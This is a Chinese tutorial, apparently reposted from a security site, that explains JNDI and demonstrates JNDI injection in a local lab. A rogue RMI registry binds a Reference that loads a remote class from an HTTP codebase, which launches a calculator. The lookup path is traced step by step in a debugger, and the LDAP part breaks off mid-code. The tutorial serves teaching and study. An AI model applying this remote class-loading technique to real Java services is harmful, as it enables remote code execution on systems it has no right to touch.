JNDI
文章介绍了Java命名和目录接口(JNDI)的功能及其通过LDAP、RMI等协议实现与命名服务交互的方法,并分析了JNDI注入漏洞的产生机制及利用方式。 2025-10-26 07:33:39 Author: www.freebuf.com(查看原文) 阅读量:2 收藏

一、JNDI 简介

JNDI(Java Naming and Directory Interface,Java命名和目录接口) 是一个应用程序设计的 API,一种标准的 Java 命名系统接口。JNDI 提供统一的客户端 API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录系统,使得 Java 应用程序可以和这些命名服务和目录服务之间进行交互。

202509242106579.png

协议作用
LDAP轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容
RMIJAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象
DNS域名服务
CORBA公共对象请求代理体系结构

二、JNDI 实现

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IRemoteObj extends Remote {
public String sayHello(String keywords) throws RemoteException;
}
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
public static void main(String[] args) throws RemoteException, AlreadyBoundException {
IRemoteObj remoteObj = new RemoteObjImpl();
Registry r = LocateRegistry.createRegistry(1099);
r.bind("remoteObj", remoteObj);
}
}
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RemoteObjImpl extends UnicastRemoteObject implements IRemoteObj {
public RemoteObjImpl() throws RemoteException {
}

@Override
public String sayHello(String keywords) {
String upKeywords = keywords.toUpperCase();
System.out.println(upKeywords);
return upKeywords;
}

}
import javax.naming.InitialContext;

public class JNDIRMIClient {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
IRemoteObj remoteObj = (IRemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj");
System.out.println(remoteObj.sayHello("hello"));
}
}
import javax.naming.InitialContext;

public class JNDIRMIServer {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl());
}
}

202509242106238.png

三、JNDI 注入

3.1 分析漏洞如何产生

此处断点调试,跟进 lookup

202509242107810.png

InitialContext.lookup

202509242107722.png

GenericURLContext.lookup

202509242107072.png

RegistryContext.lookup

202509242107413.png

RegistryImpl_Stub.lookup 到这里就不用跟了,攻击方式和 RMI 中攻击注册中心一样,

202509242107847.png

RMI 中的攻击注册中心:https://www.yuque.com/taohuayuanpang/qxcvxi/rzl0dhpb5pnb8noh#dT3m5

3.2 Jndi + RMI

复现:

先写一个弹出计算器类并编译:

202509242107819.png

202509242107878.png

之后用 python 开一个 http 服务,监听 7777 端口

202509242107851.png

服务端:

import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIRMIServer {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();

//initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl());


// 在当前 JVM 中启动(或创建)一个 RMI registry,监听端口 1099
Registry registry = LocateRegistry.createRegistry(1099);
//将 JndiCalc 类的 JndiCalc 方法,放到 http://localhost:7777/
// 创建一个 Reference 对象(指向一个可通过工厂/远程位置获取的类)
Reference reference = new Reference("JndiCalc", "JndiCalc", "http://localhost:7777/");
// 将 Reference 绑定到 JNDI 命名空间中的 rmi URL 下
initialContext.rebind("rmi://localhost:1099/remoteObj", reference);
}
}

202509242107319.png

然后用客户端访问,

import javax.naming.InitialContext;

public class JNDIRMIClient {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
IRemoteObj remoteObj = (IRemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj");
System.out.println(remoteObj.sayHello("hello"));
}
}

弹出计算器:

202509242108358.png

这个调用过程就是 3.1 中以及分析过的,实际上还是调用了 lookup 方法

调试:

在客户端的 lookup 处断点

跟到 RegistryImpl_Stub 这里,

202509242108548.png

继续跟进

202509242108935.png

这里看到 var2 被赋值了 ,这里的 var2 是一个对象变量,Ref 将值传递给了它

202509242108230.png

步入 decodeObject ,

202509242108027.png

先做了一个简单的判断,判断是否为 ReferenceWrapper,也就是判断是否为Reference对象

202509242109861.png

继续跟进 getObjectInstance

202509242109168.png

这里使用强转将 refInfo 转为 Reference

202509242110137.png

继续往下走,getObjectFactoryBuilder() 这里获取到了恶意类

202509242110090.png

202509242110041.png

继续往下走,获取到 codebase,并且进行 helper.loadClass()

202509242110781.png

202509242110428.png

来到 newInstance() 后会调用 JndiCalc 类执行代码

202509242110895.png

202509242110953.png

3.2 Jndi + LDAP

LDAP 简介

Lightweight Directory Access Protocol (轻量级目录访问协议)是一种开放的、与供应商无关的行业标准应用协议, 用于通过互联网协议(IP) 网络访问和维护分布式目录信息服务。目录服务在开发内联网和互联网应用程序中发挥着重要作用,因为它允许在整个网络中共享有关用户、系统、网络、服务和应用程序的信息。例如,目录服务可以提供任何有组织的记录集,通常具有层次结构,例如公司电子邮件目录。同样,电话簿是包含地址和电话号码的用户列表。

LDAP 身份验证的基本流程:

  1. 用户提供凭证:用户通过客户端应用(如数据库客户端)输入用户名和密码。

  2. 客户端与 LDAP 服务器通信:客户端通过 LDAP 协议与 LDAP 服务器通信,将用户名和密码发送给 LDAP 服务器。

  3. LDAP 服务器验证:LDAP 服务器检查用户名是否存在,并对密码进行验证。

  4. 返回验证结果:如果用户名和密码匹配,LDAP 服务器返回认证成功的信息,允许用户访问资源。否则,返回认证失败。

LDAP 支持多种认证方式,如:

  • 匿名认证:不需要提供凭证,但访问权限有限。

  • 简单认证:用户提供用户名和密码进行身份验证。

  • SASL(简单认证和安全层)认证:用于更复杂的认证机制,提供更高的安全性。

LDAP 目录服务的常用结构

LDAP 目录中的信息组织为树形结构,称为 目录信息树(DIT)。常见的条目包括用户、组织、部门等。条目使用 Distinguished Name (DN) 进行标识,DN 包括所有节点的完整路径。例如,一个用户条目的 DN 可能是:

uid=john,ou=users,dc=example,dc=com

其中:

  • uid=john表示用户名为 john。

  • ou=users表示该条目属于“users”组织单元。

  • dc=example,dc=com表示 LDAP 服务器的域名是example.com

漏洞复现:

导入unboundid-ldapsdk的依赖。

<dependencies>
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.2.0</version>
<scope>test</scope>
</dependency>
</dependencies>

Ldap 服务端:

代码搭建
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.l

文章来源: https://www.freebuf.com/articles/web/454181.html
如有侵权请联系:admin#unsafe.sh